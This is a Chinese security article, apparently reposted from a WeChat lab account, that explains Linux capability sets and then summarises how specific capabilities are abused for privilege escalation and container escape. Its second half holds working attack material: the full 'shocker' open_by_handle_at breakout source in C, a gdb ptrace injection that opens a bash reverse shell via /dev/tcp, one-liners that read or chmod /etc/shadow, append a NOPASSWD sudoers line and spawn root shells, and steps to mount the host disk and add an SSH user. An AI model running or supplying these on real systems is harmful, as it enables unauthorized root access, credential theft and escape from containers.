前言

Linux Capabilities 是什么？

不同的Capabilities

线程 Capabilities

• • CapInh: Inheritable capabilities

• • CapPrm: Permitted capabilities

• • CapEff: Effective capabilities

• • CapBnd: Bounding set

• • CapAmb: Ambient capabilities set

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• • CapEff(Effective): Effective代表进程目前正在使用的所有Capabilities（这是内核用于权限检查的实际capabilities集）。对于文件capabilities来说，Effective实际上是一个单一的位，表示在运行二进制文件时，Permitted的Capabilities是否会被移到Effective集。这使得那些没有capabilities的二进制文件有可能在不发出特殊系统调用的情况下使用文件Capabilities。

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• • CapPrm(Permitted): 这是一个capabilities的超集，线程可以将其添加到线程允许的或线程可继承的集合中。线程可以使用capset()系统调用来管理Capabilities。它可以从任何集合中删除任何Capabilities，但只能向其线程Effective和Inheritable添加线程允许集合中的Capabilities。因此，它不能将任何Capabilities添加到其线程允许的集合中，除非它的线程有效集合中有CAP_SETPCAP。

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• • CapInh(Inheritable): 使用Inheritable集可以指定允许从父进程继承的所有Capabilities。这可以防止一个进程接收它不需要的任何Capabilities。这里需要说明一下，包含在该集合中的 capabilities 并不会自动继承给新的可执行文件，即不会添加到新线程的 Effective 集合中，它只会影响新线程的 Permitted 集合。

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• • CapBnd(Bounding): Bounding 集合是 Inheritable 集合的超集，可以限制一个进程可能收到的Capabilities。在Inheritable和Permitted集中，只有存在于Bounding集中的Capabilities才被允许。

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• • CapAmb(Ambient): Linux 4.3 内核新增了一个 capabilities 集合叫 Ambient ，用来弥补 Inheritable 的不足。Ambient集适用于所有没有文件Capabilities的非SUID二进制文件。它在execve()时保留了Capabilities。然而，并不是所有在Ambient集的Capabilities都会被保留，因为它们会被丢弃，以防它们不在Inheritable或Permitted集中出现。这个集合在 execve 调用时被保留。Ambient 的好处显而易见，举个例子，如果你将 CAP_NET_ADMIN 添加到当前进程的 Ambient 集合中，它便可以通过 fork() 和 execve() 调用 shell 脚本来执行网络管理任务，因为 CAP_NET_ADMIN 会自动继承下去。

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对于所有正在运行的进程，capabilities信息是按线程维护的，对于文件系统中的二进制文件，它被存储在扩展属性中。

cat /proc/<pid>/status | grep Cap

# 查看当前进程的capabilities
cat /proc/$$/status | grep Cap

• • capsh

capsh --decode=0000003fffffffff

• • getpcaps

getpcaps <pid>

文件 Capabilities

• • Permitted：在进程执行时，Permitted 集合中的 capabilites 自动被加入到进程的 Permitted 集合中。

• • Inheritable：Inheritable 集合中的 capabilites 会与进程的 Inheritable 集合执行与操作，以确定进程在执行 execve 函数后哪些 capabilites 被继承。

• • Effective：Effective 只是一个 bit。如果设置为开启，那么在执行 execve 函数后，Permitted 集合中新增的 capabilities 会自动出现在进程的 Effective 集合中。

root@k8s-master:~# getcap /usr/bin/ping
/usr/bin/ping = cap_net_raw+ep
root@k8s-master:~# getcap /usr/sbin/tcpdump
/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+eip

getcap -r / 2>/dev/null

• • 通过capsh删除Capabilities

capsh --drop=cap_net_raw --print -- -c "tcpdump"

• • 移除Capabilities

setcap -r <path>

用户 Capabilities

环境 Capabilities

只能添加同时存在于CapPrm(Permitted)和CapInh(Inheritable)集合中的Capabilities。

服务 Capabilities

[Service]
User=test
AmbientCapabilities=CAP_NET_BIND_SERVICE

容器 Capabilities

privileged标志给了容器所有的Capabilities，而且它还解除了设备cgroup控制器强制执行的所有限制，容器可以访问主机所有device以及具有mount操作的权限。但是–privileged参数不等于只是拥有所有的Capabilities，还包括禁用Seccomp和AppArmor等安全机制、访问device。换句话说，容器可以做主机可以做的几乎所有事情。

特殊情况 空Capabilities

1. 1. 不属于root。

2. 2. SUID/SGID位没有设置。

3. 3. capabilities设置为空。

# 比如如下情况
$ getcap <filename>
<filename> =ep

利用 Capabilities

以下是一些常见的 Capabilites 列表：

• • 当二进制文件具有Capabilities。

• • 环境具有Capabilities主要是当前在容器内。

• • 二进制文件

# 查找/下的所有具有Capabilities的二进制文件
getcap -r / 2>/dev/null

# 查看单个二进制文件
getcap <path>

• • 环境容器内

capsh --print

以下主要列举利用意义大的一些Capabilities

CAP_SYS_ADMIN

from ctypes import *
libc = CDLL("libc.so.6")
libc.mount.argtypes = (c_char_p, c_char_p, c_char_p, c_ulong, c_char_p)
MS_BIND = 4096
source = b"<fake passwd 路径>"
target = b"/etc/passwd"
filesystemtype = b"none"
options = b"rw"
mountflags = MS_BIND
libc.mount(source, target, filesystemtype, mountflags, options)

• • 挂载主机

fdisk -l
Disk /dev/sda: 4 GiB, 4294967296 bytes, 8388608 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes

mount /dev/sda /mnt/
cd /mnt
chroot ./ bash

• • 通过ssh

#Like in the example before, the first step is to moun the dosker host disk
fdisk -l
mount /dev/sda /mnt/

#Then, search for open ports inside the docker host
nc -v -n -w2 -z 172.17.0.1 1-65535
(UNKNOWN) [172.17.0.1] 2222 (?) open

#Finally, create a new user inside the docker host and use it to access via SSH
chroot /mnt/ adduser john
ssh [email protected] -p 2222

除此之外还可以通过notify_on_release进行逃逸参考理解Docker容器转义^[6]  。

CAP_SYS_MODULE

• • python：可以利用python加载内核模块。

• • kmod：可以利用该命令插入内核模块。

• • 容器：创建内核模块，通过nc接收反弹的shell可以参考Docker容器突破:滥用SYS MODULE能力^[7]和破解 Play-with-Docker 并在主机上远程运行代码^[8]  。

mkdir lib/modules -p
cp -a /lib/modules/5.0.0-20-generic/ lib/modules/$(uname -r)

CAP_SYS_PTRACE

CAP_SYS_PTRACE：允许跟踪任何进程 CAP_SYS_PTRACE 允许使用 ptrace(2) 和最近引入的跨内存附加系统调用，如 process_vm_readv(2) 和 process_vm_writev(2) 。如果这个Capabilities被授予，并且 ptrace(2) 系统调用本身没有被 seccomp 过滤器阻止，这将允许攻击者绕过其他 seccomp 限制，请参考 PoC 在允许 ptrace 时绕过 seccomp^[9]。

gdb -p 1234
(gdb) call (void)system("ls")
(gdb) call (void)system("sleep 5")
(gdb) call (void)system("bash -c 'bash -i >& /dev/tcp/<ip>/<port> 0>&1'")

CAP_DAC_READ_SEARCH

• • tar

因为在这种情况下，tar有这个权限。你不能目录升级权限，但如果你幸运的话，在取回影子文件后破解哈希密码。你可以通过包括/etc/shadow文件来执行一个简单的tar归档，然后再提取它。

• • python

import os
for r, d, f in os.walk('/root'):
    for filename in f:
        print(filename)

python -c 'print(open("/etc/shadow", "r").read())'

Docker已经通过放弃CAP_DAC_READ_SEARCH（以及使用seccomp阻止对open_by_handle_at的访问）来缓解这个问题。

CAP_DAC_OVERRIDE

当文件具有能力：

• • vim

当vim具有该能力，可以修改如passwd 、sudoers或shadow等。

• • python

当python具有该能力，同样可以修改一些敏感文件提权。

file=open("/etc/sudoers","a")
file.write("username ALL=(ALL) NOPASSWD:ALL")
file.close()

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <stdint.h>

// gcc shocker_write.c -o shocker_write
// ./shocker_write /etc/passwd passwd 

struct my_file_handle {
  unsigned int handle_bytes;
  int handle_type;
  unsigned char f_handle[8];
};
void die(const char * msg) {
  perror(msg);
  exit(errno);
}
void dump_handle(const struct my_file_handle * h) {
  fprintf(stderr, "[*] #=%d, %d, char nh[] = {", h -> handle_bytes,
    h -> handle_type);
  for (int i = 0; i < h -> handle_bytes; ++i) {
    fprintf(stderr, "0x%02x", h -> f_handle[i]);
    if ((i + 1) % 20 == 0)
      fprintf(stderr, "n");
    if (i < h -> handle_bytes - 1)
      fprintf(stderr, ", ");
  }
  fprintf(stderr, "};n");
} 
int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh)
{
  int fd;
  uint32_t ino = 0;
  struct my_file_handle outh = {
    .handle_bytes = 8,
    .handle_type = 1
  };
  DIR * dir = NULL;
  struct dirent * de = NULL;
  path = strchr(path, '/');
  // recursion stops if path has been resolved
  if (!path) {
    memcpy(oh -> f_handle, ih -> f_handle, sizeof(oh -> f_handle));
    oh -> handle_type = 1;
    oh -> handle_bytes = 8;
    return 1;
  }
  ++path;
  fprintf(stderr, "[*] Resolving '%s'n", path);
  if ((fd = open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) < 0)
    die("[-] open_by_handle_at");
  if ((dir = fdopendir(fd)) == NULL)
    die("[-] fdopendir");
  for (;;) {
    de = readdir(dir);
    if (!de)
      break;
    fprintf(stderr, "[*] Found %sn", de -> d_name);
    if (strncmp(de -> d_name, path, strlen(de -> d_name)) == 0) {
      fprintf(stderr, "[+] Match: %s ino=%dn", de -> d_name, (int) de -> d_ino);
      ino = de -> d_ino;
      break;
    }
  }
  fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...n");
  if (de) {
    for (uint32_t i = 0; i < 0xffffffff; ++i) {
      outh.handle_bytes = 8;
      outh.handle_type = 1;
      memcpy(outh.f_handle, & ino, sizeof(ino));
      memcpy(outh.f_handle + 4, & i, sizeof(i));
      if ((i % (1 << 20)) == 0)
        fprintf(stderr, "[*] (%s) Trying: 0x%08xn", de -> d_name, i);
      if (open_by_handle_at(bfd, (struct file_handle * ) & outh, 0) > 0) {
        closedir(dir);
        close(fd);
        dump_handle( & outh);
        return find_handle(bfd, path, & outh, oh);
      }
    }
  }
  closedir(dir);
  close(fd);
  return 0;
}
int main(int argc, char * argv[]) {
  char buf[0x1000];
  int fd1, fd2;
  struct my_file_handle h;
  struct my_file_handle root_h = {
    .handle_bytes = 8,
    .handle_type = 1,
    .f_handle = {
      0x02,
      0,
      0,
      0,
      0,
      0,
      0,
      0
    }
  };
  fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]n"
    "[***] The tea from the 90's kicks your sekurity again. [***]n"
    "[***] If you have pending sec consulting, I'll happily [***]n"
    "[***] forward to my friends who drink secury-tea too! [***]nn<enter>n");
  read(0, buf, 1);
  // get a FS reference from something mounted in from outside
  if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
    die("[-] open");
  if (find_handle(fd1, argv[1], & root_h, & h) <= 0)
    die("[-] Cannot find valid handle!");
  fprintf(stderr, "[!] Got a final handle!n");
  dump_handle( & h);
  if ((fd2 = open_by_handle_at(fd1, (struct file_handle * ) & h, O_RDWR)) < 0)
    die("[-] open_by_handle");
  char * line = NULL;
  size_t len = 0;
  FILE * fptr;
  ssize_t read;
  fptr = fopen(argv[2], "r");
  while ((read = getline( & line, & len, fptr)) != -1) {
    write(fd2, line, read);
  }
  printf("Success!!n");
  close(fd2);
  close(fd1);
  return 0;
}

CAP_CHOWN

ruby -e 'require "fileutils"; FileUtils.chown(1000, 1000, "/etc/shadow")'

CAP_FOWNER

python -c 'import os;os.chmod("/etc/shadow",0666)'

CAP_SETUID

• • python

• • perl

• • tar

# 方法一
import os
os.setuid(0)
os.system("/bin/bash")
python3.8 -c 'import os;os.setuid(0);os.system("/bin/bash")'

# 方法二
import os
import prctl
# 在集合effective中添加capability
prctl.cap_effective.setuid = True
os.setuid(0)
os.system("/bin/bash")

CAP_SETGID

# 查找组可写的每个文件
find / -perm /g=w -exec ls -lLd {} ; 2>/dev/null
# 在/etc中找到每一个maxpath为1的组可写文件
find /etc -maxdepth 1 -perm /g=w -exec ls -lLd {} ; 2>/dev/null
# 在/etc中查找每一个maxpath为1的组可读文件
find /etc -maxdepth 1 -perm /g=r -exec ls -lLd {} ; 2>/dev/null

import os
os.setgid(42)
os.system("/bin/bash")

• • 将用户和密码添加到/etc/passwd。

• • 在/etc/shadow中更改密码。

• • 在/etc/sudoers中将用户添加到sudoers。

• • 通过docker套接字通信利用docker，一般在/run/docker.sock或/var/run/docker.sock 。

CAP_SETFCAP

import ctypes, sys

#Load needed library
#You can find which library you need to load checking the libraries of local setcap binary
# ldd /sbin/setcap
libcap = ctypes.cdll.LoadLibrary("libcap.so.2")

libcap.cap_from_text.argtypes = [ctypes.c_char_p]
libcap.cap_from_text.restype = ctypes.c_void_p
libcap.cap_set_file.argtypes = [ctypes.c_char_p,ctypes.c_void_p]

#Give setuid cap to the binary
cap = 'cap_setuid+ep'
path = sys.argv[1]
print(path)
cap_t = libcap.cap_from_text(cap)
status = libcap.cap_set_file(path,cap_t)

if(status == 0):
    print (cap + " was successfully added to " + path)

参考资料

• • https://blog.container-solutions.com/linux-capabilities-why-they-exist-and-how-they-work

• • https://www.trendmicro.com/en_us/research/19/l/why-running-a-privileged-container-in-docker-is-a-bad-idea.html

• • https://blog.ploetzli.ch/2014/understanding-linux-capabilities/

• • https://man7.org/linux/man-pages/man7/capabilities.7.html

• • https://s3hh.wordpress.com/2015/07/25/ambient-capabilities/

• • https://pierrchen.blogspot.com/2018/05/container-deep-dive-3-linux-capabilities.html

• • https://www.onitroad.com/jc/linux/man-pages/linux/man7/capabilities.7.html

• 
  

引用链接

[1] SUID: https://en.wikipedia.org/wiki/Setuid
[2] ambient.c: https://s3hh.wordpress.com/2015/07/25/ambient-capabilities/
[3] 默认的Capabilities: https://github.com/moby/moby/blob/master/oci/caps/defaults.go
[4] 容器配置Capabilities: https://kubernetes.io/zh-cn/docs/tasks/configure-pod-container/security-context/#set-capabilities-for-a-container
[5] LinPEAS: https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS
[6] 理解Docker容器转义: https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/
[7] Docker容器突破:滥用SYS MODULE能力: https://blog.pentesteracademy.com/abusing-sys-module-capability-to-perform-docker-container-breakout-cf5c29956edd
[8] 破解 Play-with-Docker 并在主机上远程运行代码: https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host
[9] 在允许 ptrace 时绕过 seccomp: https://gist.github.com/thejh/8346f47e359adecd1d53
[10] python Capabilities cap_sys_ptrace+ep提权: https://www.cnblogs.com/zlgxzswjy/p/15185591.html
[11] Shellcode注入: https://blog.pentesteracademy.com/privilege-escalation-by-abusing-sys-ptrace-linux-capability-f6e6ad2a59cc
[12] shocker: https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3

原文始发于微信公众号（默安逐日实验室）：Linux Capabilities利用总结